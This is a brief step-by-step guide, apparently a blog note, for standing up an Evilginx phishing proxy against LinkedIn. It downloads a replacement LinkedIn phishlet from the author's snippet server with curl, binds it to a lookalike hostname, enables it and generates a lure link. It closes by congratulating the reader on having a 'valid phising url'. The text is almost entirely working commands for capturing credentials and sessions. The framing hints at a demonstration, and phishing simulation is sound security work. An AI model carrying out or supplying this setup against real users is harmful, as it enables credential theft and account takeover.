Note
As previously discussed the community edition of Evilginx has been kneecapped so the quickstart example in their documentation will not work. This guide will give a rough approximation of that tutorial
- Install
curl
apt install curl
- Create the LinkedIn phishlet. This downloads a copy of a phishlet for my pastebin to replace the one the Evilginx team removed
curl -o ~/evilginx/phishlets/linkedin.yaml https://snippets.thesatelliteoflove.com/api/public/snippets/1/1/raw
- Connect to your Evilginx tmux session and launch Evilginx
tmux new-session -A -s evilginx
~/evilginx/evilginx
- Assign a hostname to the LinkedIn phishlet
phishlets hostname linkedin demo.philsphishpharm.click
- Enable your phishlet
phishlets enable linkedin
- Create a lure (link) for your phishlet. Once created the second command will return the link (assuming this is your first lure)
lures create linkedin
lures get-url 0
You now have a valid phising url. Good job!